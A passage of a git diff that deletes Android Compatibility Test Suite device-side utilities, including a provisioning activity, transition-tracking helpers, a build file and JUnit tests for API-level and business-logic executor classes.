- .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- }
-
- private static void wakeUpAndDismissInsecureKeyguard() {
- try {
- UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- uiDevice.wakeUp();
- uiDevice.pressMenu();
- } catch (RemoteException e) {
- Log.e(TAG, "wakeUpScreen", e);
- }
- }
-
- private static class BlockingReceiver extends BroadcastReceiver {
-
- private final CountDownLatch mLatch = new CountDownLatch(1);
- private final Context mContext;
- private final String mAction;
- private Intent mReceivedIntent;
-
- private BlockingReceiver(Context context, String action) {
- mContext = context;
- mAction = action;
- mReceivedIntent = null;
- }
-
- public void register() {
- mContext.registerReceiver(this, new IntentFilter(mAction));
- }
-
- public boolean await() throws InterruptedException {
- return mLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
- }
-
- public Intent getReceivedIntent() {
- return mReceivedIntent;
- }
-
- @Override
- public void onReceive(Context context, Intent intent) {
- mReceivedIntent = intent;
- mLatch.countDown();
- }
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
deleted file mode 100644
index 4a98794..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.devicepolicy.provisioning;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.WindowManager;
-
-/**
- * Must register it in AndroidManifest.xml
- * <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"></activity>
- */
-public class StartProvisioningActivity extends Activity {
- private static final int REQUEST_CODE = 1;
- private static final String TAG = "StartProvisionActivity";
-
- public static final String EXTRA_BOOLEAN_CALLBACK = "EXTRA_BOOLEAN_CALLBACK";
-
- IBooleanCallback mResultCallback;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- // Reduce flakiness of the test
- // Show activity on top of keyguard
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
- // Turn on screen to prevent activity being paused by system
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
-
- mResultCallback = IBooleanCallback.Stub.asInterface(
- getIntent().getExtras().getBinder(EXTRA_BOOLEAN_CALLBACK));
- Log.i(TAG, "result callback class name " + mResultCallback);
-
- // Only provision it if the activity is not re-created
- if (savedInstanceState == null) {
- Intent provisioningIntent = getIntent().getParcelableExtra(Intent.EXTRA_INTENT);
-
- startActivityForResult(provisioningIntent, REQUEST_CODE);
- Log.i(TAG, "Start provisioning intent");
- }
- }
-
- @Override
- protected void onActivityResult(int requestCode, int resultCode, Intent data) {
- if (requestCode == REQUEST_CODE) {
- try {
- boolean result = resultCode == RESULT_OK;
- mResultCallback.onResult(result);
- Log.i(TAG, "onActivityResult result: " + result);
- } catch (RemoteException e) {
- Log.e(TAG, "onActivityResult", e);
- }
- } else {
- super.onActivityResult(requestCode, resultCode, data);
- }
- }
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/transition/TargetTracking.java b/common/device-side/util/src/com/android/compatibility/common/util/transition/TargetTracking.java
deleted file mode 100644
index 7c53921..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/transition/TargetTracking.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.transition;
-
-import android.graphics.Rect;
-import android.view.View;
-
-import java.util.ArrayList;
-
-public interface TargetTracking {
- ArrayList<View> getTrackedTargets();
- void clearTargets();
- Rect getCapturedEpicenter();
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingTransition.java b/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingTransition.java
deleted file mode 100644
index 55b235d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingTransition.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.transition;
-
-import android.animation.Animator;
-import android.graphics.Rect;
-import android.transition.Transition;
-import android.transition.TransitionValues;
-import android.view.View;
-import android.view.ViewGroup;
-
-import java.util.ArrayList;
-
-/**
- * A transition that tracks which targets are applied to it.
- * It will assume any target that it applies to will have differences
- * between the start and end state, regardless of the differences
- * that actually exist. In other words, it doesn't actually check
- * any size or position differences or any other property of the view.
- * It just records the difference.
- * <p>
- * Both start and end value Views are recorded, but no actual animation
- * is created.
- */
-public class TrackingTransition extends Transition implements TargetTracking {
- public final ArrayList<View> targets = new ArrayList<>();
- private final Rect[] mEpicenter = new Rect[1];
- private static String PROP = "tracking:prop";
- private static String[] PROPS = { PROP };
-
- @Override
- public String[] getTransitionProperties() {
- return PROPS;
- }
-
- @Override
- public void captureStartValues(TransitionValues transitionValues) {
- transitionValues.values.put(PROP, 0);
- }
-
- @Override
- public void captureEndValues(TransitionValues transitionValues) {
- transitionValues.values.put(PROP, 1);
- }
-
- @Override
- public Animator createAnimator(ViewGroup sceneRoot, TransitionValues startValues,
- TransitionValues endValues) {
- if (startValues != null) {
- targets.add(startValues.view);
- }
- if (endValues != null) {
- targets.add(endValues.view);
- }
- Rect epicenter = getEpicenter();
- if (epicenter != null) {
- mEpicenter[0] = new Rect(epicenter);
- } else {
- mEpicenter[0] = null;
- }
- return null;
- }
-
- @Override
- public ArrayList<View> getTrackedTargets() {
- return targets;
- }
-
- @Override
- public void clearTargets() {
- targets.clear();
- }
-
- @Override
- public Rect getCapturedEpicenter() {
- return mEpicenter[0];
- }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingVisibility.java b/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
deleted file mode 100644
index 8a5a19e..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.transition;
-
-import android.animation.Animator;
-import android.graphics.Rect;
-import android.transition.TransitionValues;
-import android.transition.Visibility;
-import android.view.View;
-import android.view.ViewGroup;
-
-import java.util.ArrayList;
-
-/**
- * Visibility transition that tracks which targets are applied to it.
- * This transition does no animation.
- */
-public class TrackingVisibility extends Visibility implements TargetTracking {
- public final ArrayList<View> targets = new ArrayList<>();
- private final Rect[] mEpicenter = new Rect[1];
-
- @Override
- public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
- TransitionValues endValues) {
- targets.add(endValues.view);
- Rect epicenter = getEpicenter();
- if (epicenter != null) {
- mEpicenter[0] = new Rect(epicenter);
- } else {
- mEpicenter[0] = null;
- }
- return null;
- }
-
- @Override
- public Animator onDisappear(ViewGroup sceneRoot, View view, TransitionValues startValues,
- TransitionValues endValues) {
- targets.add(startValues.view);
- Rect epicenter = getEpicenter();
- if (epicenter != null) {
- mEpicenter[0] = new Rect(epicenter);
- } else {
- mEpicenter[0] = null;
- }
- return null;
- }
-
- @Override
- public ArrayList<View> getTrackedTargets() {
- return targets;
- }
-
- @Override
- public void clearTargets() {
- targets.clear();
- }
-
- @Override
- public Rect getCapturedEpicenter() {
- return mEpicenter[0];
- }
-}
diff --git a/common/device-side/util/tests/Android.bp b/common/device-side/util/tests/Android.bp
deleted file mode 100644
index 2abba37..0000000
--- a/common/device-side/util/tests/Android.bp
+++ /dev/null
@@ -1,28 +0,0 @@
-// Copyright (C) 2015 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_test {
- name: "compatibility-device-util-tests",
-
- srcs: ["src/**/*.java"],
-
- static_libs: [
- "compatibility-device-util",
- "junit",
- "testng", // TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
- "truth-prebuilt"
- ],
-
- sdk_version: "test_current",
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
deleted file mode 100644
index 13305c3..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
-
-import android.os.Build;
-import android.support.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests for {@line ApiLevelUtil}.
- */
-@RunWith(AndroidJUnit4.class)
-public class ApiLevelUtilTest {
-
- @Test
- public void testComparisonByInt() throws Exception {
- int version = Build.VERSION.SDK_INT;
-
- assertFalse(ApiLevelUtil.isBefore(version - 1));
- assertFalse(ApiLevelUtil.isBefore(version));
- assertTrue(ApiLevelUtil.isBefore(version + 1));
-
- assertTrue(ApiLevelUtil.isAfter(version - 1));
- assertFalse(ApiLevelUtil.isAfter(version));
- assertFalse(ApiLevelUtil.isAfter(version + 1));
-
- assertTrue(ApiLevelUtil.isAtLeast(version - 1));
- assertTrue(ApiLevelUtil.isAtLeast(version));
- assertFalse(ApiLevelUtil.isAtLeast(version + 1));
-
- assertFalse(ApiLevelUtil.isAtMost(version - 1));
- assertTrue(ApiLevelUtil.isAtMost(version));
- assertTrue(ApiLevelUtil.isAtMost(version + 1));
- }
-
- @Test
- public void testComparisonByString() throws Exception {
- // test should pass as long as device SDK version is at least 12
- assertTrue(ApiLevelUtil.isAtLeast("HONEYCOMB_MR1"));
- assertTrue(ApiLevelUtil.isAtLeast("12"));
- }
-
- @Test
- public void testResolveVersionString() throws Exception {
- // can only test versions known to the device build
- assertEquals(ApiLevelUtil.resolveVersionString("GINGERBREAD_MR1"), 10);
- assertEquals(ApiLevelUtil.resolveVersionString("10"), 10);
- assertEquals(ApiLevelUtil.resolveVersionString("HONEYCOMB"), 11);
- assertEquals(ApiLevelUtil.resolveVersionString("11"), 11);
- assertEquals(ApiLevelUtil.resolveVersionString("honeycomb_mr1"), 12);
- assertEquals(ApiLevelUtil.resolveVersionString("12"), 12);
- }
-
- @Test(expected = RuntimeException.class)
- public void testResolveMisspelledVersionString() throws Exception {
- ApiLevelUtil.resolveVersionString("GINGERBEARD");
- }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
deleted file mode 100644
index 9f3ca47..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
+++ /dev/null
@@ -1,314 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-import static junit.framework.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-
-import org.junit.AssumptionViolatedException;
-import org.junit.Before;
-import org.junit.Ignore;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-import junit.framework.AssertionFailedError;
-
-/**
- * Tests for {@line BusinessLogicDeviceExecutor}.
- */
-@RunWith(AndroidJUnit4.class)
-public class BusinessLogicDeviceExecutorTest {
-
- private static final String THIS_CLASS =
- "com.android.compatibility.common.util.BusinessLogicDeviceExecutorTest";
- private static final String METHOD_1 = THIS_CLASS + ".method1";
- private static final String METHOD_2 = THIS_CLASS + ".method2";
- private static final String METHOD_3 = THIS_CLASS + ".method3";
- private static final String METHOD_4 = THIS_CLASS + ".method4";
- private static final String METHOD_5 = THIS_CLASS + ".method5";
- private static final String METHOD_6 = THIS_CLASS + ".method6";
- private static final String METHOD_7 = THIS_CLASS + ".method7";
- private static final String METHOD_8 = THIS_CLASS + ".method8";
- private static final String METHOD_9 = THIS_CLASS + ".method9";
- private static final String METHOD_10 = THIS_CLASS + ".method10";
- private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
- private static final String ARG_STRING_1 = "arg1";
- private static final String ARG_STRING_2 = "arg2";
-
- private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
-
- private String mInvoked = null;
- private Object[] mArgsUsed = null;
- private Context mContext;
- private BusinessLogicExecutor mExecutor;
-
- @Before
- public void setUp() {
- mContext = InstrumentationRegistry.getTargetContext();
- mExecutor = new BusinessLogicDeviceExecutor(mContext, this);
- // reset the instance variables tracking the method invoked and the args used
- mInvoked = null;
- mArgsUsed = null;
- // reset the OtherClass class variable tracking the method invoked
- OtherClass.otherInvoked = null;
- }
-
- @Test
- public void testInvokeMethodInThisClass() throws Exception {
- mExecutor.invokeMethod(METHOD_1);
- // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
- }
-
- @Test
- public void testInvokeMethodInOtherClass() throws Exception {
- mExecutor.invokeMethod(OTHER_METHOD_1);
- // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
- assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
- OTHER_METHOD_1);
- }
-
- @Test
- public void testInvokeMethodWithStringArgs() throws Exception {
- mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
- // assert both String arguments were correctly set for method2
- assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
- assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
- }
-
- @Test
- public void testInvokeMethodWithStringAndContextArgs() throws Exception {
- mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
- // assert that String arg and Context arg were correctly set for method3
- assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
- assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
- }
-
- @Test
- public void testInvokeMethodWithContextAndStringArgs() throws Exception {
- mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
- // Like testInvokeMethodWithStringAndContextArgs, but flip the args for method4
- assertEquals("Failed to set first argument", mArgsUsed[0], mContext);
- assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
- }
-
- @Test
- public void testInvokeMethodWithStringArrayArg() throws Exception {
- mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
- // assert both String arguments were correctly set for method5
- assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
- assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
- }
-
- @Test
- public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
- mExecutor.invokeMethod(METHOD_5);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
- // assert no String arguments were set for method5
- assertEquals("Incorrectly set args", mArgsUsed.length, 0);
- }
-
- @Test
- public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
- mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
- // assert both String arguments were correctly set for method6
- assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
- assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
- }
-
- @Test
- public void testInvokeMethodWithAllArgTypes() throws Exception {
- mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
- // assert all arguments were correctly set for method7
- assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
- assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
- assertEquals("Failed to set third argument", mArgsUsed[2], ARG_STRING_2);
- }
-
- @Test
- public void testInvokeOverloadedMethodOneArg() throws Exception {
- mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
- assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
- assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
- }
-
- @Test
- public void testInvokeOverloadedMethodTwoArgs() throws Exception {
- mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
- assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
- assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
- assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
- }
-
- @Test(expected = RuntimeException.class)
- public void testInvokeNonExistentMethod() throws Exception {
- mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
- }
-
- @Test(expected = RuntimeException.class)
- public void testInvokeMethodTooManyArgs() throws Exception {
- mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
- }
-
- @Test(expected = RuntimeException.class)
- public void testInvokeMethodTooFewArgs() throws Exception {
- mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
- }
-
- @Test(expected = RuntimeException.class)
- public void testInvokeMethodIncompatibleArgs() throws Exception {
- mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
- }
-
- @Test
- public void testExecuteConditionCheckReturnValue() throws Exception {
- assertTrue("Wrong return value",
- mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
- assertFalse("Wrong return value",
- mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
- }
-
- @Test(expected = RuntimeException.class)
- public void testExecuteInvalidCondition() throws Exception {
- mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
- }
-
- @Test
- public void testExecuteAction() throws Exception {
- mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
- assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
- // assert both String arguments were correctly set for method2
- assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
- assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
- }
-
- @Test(expected = RuntimeException.class)
- public void testExecuteActionThrowException() throws Exception {
- mExecutor.executeAction(METHOD_9);
- }
-
- @Test
- public void testExecuteActionViolateAssumption() throws Exception {
- try {
- mExecutor.executeAction(METHOD_10);
- // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
- // attribute on @Test annotation, so test using Assert.fail()
- fail("Expected assumption failure");
- } catch (AssumptionViolatedException e) {
- // expected
- }
- }
-
- public void method1() {
- mInvoked = METHOD_1;
- }
-
- // overloaded method with one arg
- public void method1(String arg1) {
- mInvoked = METHOD_1;
- mArgsUsed = new Object[]{arg1};
- }
-
- // overloaded method with two args
- public void method1(String arg1, String arg2) {
- mInvoked = METHOD_1;
- mArgsUsed = new Object[]{arg1, arg2};
- }
-
- public boolean method2(String arg1, String arg2) {
- mInvoked = METHOD_2;
- mArgsUsed = new Object[]{arg1, arg2};
- return arg1.equals(arg2);
- }
-
- public void method3(String arg1, Context arg2) {
- mInvoked = METHOD_3;
- mArgsUsed = new Object[]{arg1, arg2};
- }
-
- // Same as method3, but flipped args
- public void method4(Context arg1, String arg2) {
- mInvoked = METHOD_4;
- mArgsUsed = new Object[]{arg1, arg2};
- }
-
- public void method5(String... args) {
- mInvoked = METHOD_5;
- mArgsUsed = args;
- }
-
- public void method6(String arg1, String... moreArgs) {
- mInvoked = METHOD_6;
- List<String> allArgs = new ArrayList<>();
- allArgs.add(arg1);
- allArgs.addAll(Arrays.asList(moreArgs));
- mArgsUsed = allArgs.toArray(new String[0]);
- }
-
- public void method7(String arg1, Context arg2, String... moreArgs) {
- mInvoked = METHOD_7;
- List<Object> allArgs = new ArrayList<>();
- allArgs.add(arg1);
- allArgs.add(arg2);
- allArgs.addAll(Arrays.asList(moreArgs));
- mArgsUsed = allArgs.toArray(new Object[0]);
- }
-
- public void method8(String arg1, Integer arg2) {
- // This method should never be successfully invoked, since Integer parameter types are
- // unsupported for the BusinessLogic service
- }
-
- // throw AssertionFailedError
- @Ignore
- public void method9() throws AssertionFailedError {
- assertTrue(false);
- }
-
- // throw AssumptionViolatedException
- public void method10() throws AssumptionViolatedException {
- assumeTrue(false);
- }
-
- public static class OtherClass {
-
- public static String otherInvoked = null;
-
- public void method1() {
- otherInvoked = OTHER_METHOD_1;
- }
- }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
deleted file mode 100644
index ad4acbb..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertTrue;
-
-import android.support.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Tests for {@line BusinessLogicTestCase}.
- */
-@RunWith(AndroidJUnit4.class)
-public class BusinessLogicTestCaseTest {
-
- private static final String KEY_1 = "key1";
- private static final String KEY_2 = "key2";
- private static final String VALUE_1 = "value1";
- private static final String VALUE_2 = "value2";
-
- DummyTest mDummyTest;
- DummyTest mOtherDummyTest;
-
- @Before
- public void setUp() {
- mDummyTest = new DummyTest();
- mOtherDummyTest = new DummyTest();
- }
-
- @Test
- public void testMapPut() throws Exception {
- mDummyTest.mapPut("instanceMap", KEY_1, VALUE_1);
- assertTrue("mapPut failed for instanceMap", mDummyTest.instanceMap.containsKey(KEY_1));
- assertEquals("mapPut failed for instanceMap", mDummyTest.instanceMap.get(KEY_1), VALUE_1);
- assertTrue("mapPut affected wrong instance", mOtherDummyTest.instanceMap.isEmpty());
- }
-
- @Test
- public void testStaticMapPut() throws Exception {
- mDummyTest.mapPut("staticMap", KEY_2, VALUE_2);
- assertTrue("mapPut failed for staticMap", mDummyTest.staticMap.containsKey(KEY_2));
- assertEquals("mapPut failed for staticMap", mDummyTest.staticMap.get(KEY_2), VALUE_2);
- assertTrue("mapPut on static map should affect all instances",
- mOtherDummyTest.staticMap.containsKey(KEY_2));
- }
-
- public static class DummyTest extends BusinessLogicTestCase {
- public Map<String, String> instanceMap = new HashMap<>();
- public static Map<String, String> staticMap = new HashMap<>();
- }
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/DeviceReportTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/DeviceReportTest.java
deleted file mode 100644
index ab42b32..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/DeviceReportTest.java
+++ /dev/null
@@ -1,154 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package com.android.compatibility.common.util;
-
-import android.app.Instrumentation;
-import android.os.Bundle;
-import android.os.Environment;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileReader;
-import java.lang.StringBuilder;
-
-import junit.framework.TestCase;
-
-import org.json.JSONObject;
-
-/**
- * Tests for {@line DeviceReportLog}.
- */
-public class DeviceReportTest extends TestCase {
-
- /**
- * A stub of {@link Instrumentation}
- */
- public class TestInstrumentation extends Instrumentation {
-
- private int mResultCode = -1;
- private Bundle mResults = null;
-
- @Override
- public void sendStatus(int resultCode, Bundle results) {
- mResultCode = resultCode;
- mResults = results;
- }
- }
-
- private static final int RESULT_CODE = 2;
- private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
- private static final String TEST_MESSAGE_1 = "Foo";
- private static final double TEST_VALUE_1 = 3;
- private static final ResultType TEST_TYPE_1 = ResultType.HIGHER_BETTER;
- private static final ResultUnit TEST_UNIT_1 = ResultUnit.SCORE;
- private static final String TEST_MESSAGE_2 = "Bar";
- private static final double TEST_VALUE_2 = 5;
- private static final ResultType TEST_TYPE_2 = ResultType.LOWER_BETTER;
- private static final ResultUnit TEST_UNIT_2 = ResultUnit.COUNT;
- private static final String TEST_MESSAGE_3 = "Sample";
- private static final double TEST_VALUE_3 = 7;
- private static final ResultType TEST_TYPE_3 = ResultType.LOWER_BETTER;
- private static final ResultUnit TEST_UNIT_3 = ResultUnit.COUNT;
- private static final String TEST_MESSAGE_4 = "Message";
- private static final double TEST_VALUE_4 = 9;
- private static final ResultType TEST_TYPE_4 = ResultType.LOWER_BETTER;
- private static final ResultUnit TEST_UNIT_4 = ResultUnit.COUNT;
- private static final String REPORT_NAME_1 = "TestReport1";
- private static final String REPORT_NAME_2 = "TestReport2";
- private static final String STREAM_NAME_1 = "SampleStream1";
- private static final String STREAM_NAME_2 = "SampleStream2";
- private static final String STREAM_NAME_3 = "SampleStream3";
- private static final String STREAM_NAME_4 = "SampleStream4";
-
- public void testSubmit() throws Exception {
- DeviceReportLog log = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_1);
- log.addValue(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
- log.setSummary(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
- TestInstrumentation inst = new TestInstrumentation();
- log.submit(inst);
